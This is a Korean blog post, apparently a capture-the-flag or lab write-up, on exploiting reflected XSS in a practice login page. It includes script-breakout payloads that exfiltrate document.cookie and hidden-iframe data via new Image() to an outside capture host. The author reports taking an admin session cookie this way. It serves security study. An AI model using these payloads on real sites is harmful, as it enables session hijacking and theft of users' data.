XSS 6번

황인환·2024년 7월 7일

XSS 발생위치

발생위치URL
로그인 페이지http://URL/xss_7/login.html

XSS 종류

- Reflected XSS 정의

삽입된 스크립트가 서버의 반응으로 클라이언트측에서 실행되는 것

- Reflected XSS 특징

-> 즉각적임
-> 입력값과 출력값이 같은페이지에 나타남
-> 스크립트 Link(URL)로 전달 -> GET방식-> 파라미터로 스크립트 전송
-> URL을 클릭해야함

XSS Point 찾기

  • Burp Suite에서 point 찾기
  • Burp Suite에서 스크랩트 삽입

Reflected XSS TEST

  • GET방식으로 전환
    -> 스크립트를 Link에 삽입해야하기 때문
POST방식
GET방식
실제 출력 화면
  • 주의사항
    출력값은 화면에 나타나지 않고 Burp Suite에서 나타나도 가능

실제 출력이 화면에 나타나지 않아도

특수문자 TEST

TEST방법

  • <,',",> 넣어보기
<,',",>삽입

결과

  • <'"> 출력 -> 모두 사용할 수 있음

Filtering TEST

사용할 태그와 함수 TEST

  • 글수정 페이지에 ),',;,</script>, <script>, <img>,alert()삽입
스크립트 삽입

결과

  • ),',;을 넣은 이유
    -> 기존에 있던 alert()함수 완성시키기 위함

  • <script> 출력 -><script> 사용가능

  • <img>출력 -> <img> 사용가능

  • alert()출력 -> alert() 사용가능

Cookie정보 가져오기

Document.cookie로 쿠키 가져오기

  • <img>태그와 alert()함수를 활용
    ');</script><img src=x style="display:none;"/><script> let a = ('삽입
스크립트 삽입
alert 작동확인
<img> error
<img> error 숨김
  • <script>let+a=('을 쓴 이유
    -> 남은<script>를 닫기 위해
    -> 안닫으면 작동 안됨

  • <img>style="display:none;"을 입력한 이유
    -><img>태그를 숨기기위해

new Image() 함수를 활용

  • 공격자 서버로 쿠키정보 전송
    ');</script><img+src=x+onerror="new+Image().src='https://env2ukig2umbh.x.pipedream.net?info='%2B+document.cookie;"+style="display:none;"/><script>let+a=('삽입
스크립트 삽입공격자 서버 확인
  • 추정 실패요인
    보이지 않는 <script>가 더 있는것으로 추정
    -> 마무리가 되지 않아 전송되지 않는 걸로 추정

  • 추가조치
    HTML 주석 사용 -> <!--

스크립트 삽입공격자 서버에서 확인

관리자에게 TEST

  • 스크립트가 삽입된 URL을 관리자에게 TEST
TEST공격자 서버에서 확인

결과

세션ID가 포함된 쿠키정보 탈환성공

다른페이지 정보가져오기

iframe태그 사용

  • Mypage URL 삽입
    -> <iframe src="Mypage URL"></iframe>
스크립트 삽입
출력된 화면에서 확인

iframe으로 정보 탈취

prompt로 정보띄우기

  • iframe에서 정보 가져오는 스크립트
');</script><iframe+src="MypageURL/xss_7/mypage.php"+id="plz"+style="display:none;"></iframe>
<img+src=x+onerror="document.getElementById('plz').onload=function(){
let+target=document.getElementById('plz');
+let+DOM=target.contentDocument;
+let+want=DOM.getElementsByName('info');
+prompt(want[0].placeholder);}"
+style="display:none;">
<!--<script>let+a=('
글수정 페이지에 스크립트 삽입
prompt로 확인

new Image로 서버에 데이터 전송

  • prompt(want[0].placeholder);를 빼고 new Image().src='공격자서버URL?info='+want[0].placeholder; 삽입
공격자서버 확인

0개의 댓글